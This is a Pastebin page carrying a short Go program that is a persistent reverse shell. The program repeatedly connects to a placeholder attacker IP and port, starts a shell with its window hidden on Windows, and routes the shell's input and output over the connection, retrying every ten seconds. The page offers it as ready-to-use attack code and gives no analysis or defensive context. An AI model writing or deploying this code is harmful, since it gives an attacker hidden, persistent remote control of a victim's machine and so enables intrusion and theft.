Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- import (
- "net"
- "time"
- "os/exec"
- "syscall"
- )
- func main() {
- var conn net.Conn
- var err error
- var cmd *exec.Cmd
- sysprocattr := &syscall.SysProcAttr{HideWindow: true}
- for {
- conn, err = net.Dial("tcp", "<attacker-ip>:<port>")
- if err == nil {
- cmd = exec.Command("<cmd for windows, bash or sh for linux>")
- cmd.SysProcAttr = sysprocattr
- cmd.Stdin = conn
- cmd.Stderr = conn
- cmd.Stdout = conn
- cmd.Run()
- }
- if conn != nil {
- conn.Close()
- conn = nil
- }
- time.Sleep(10 * time.Second)
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement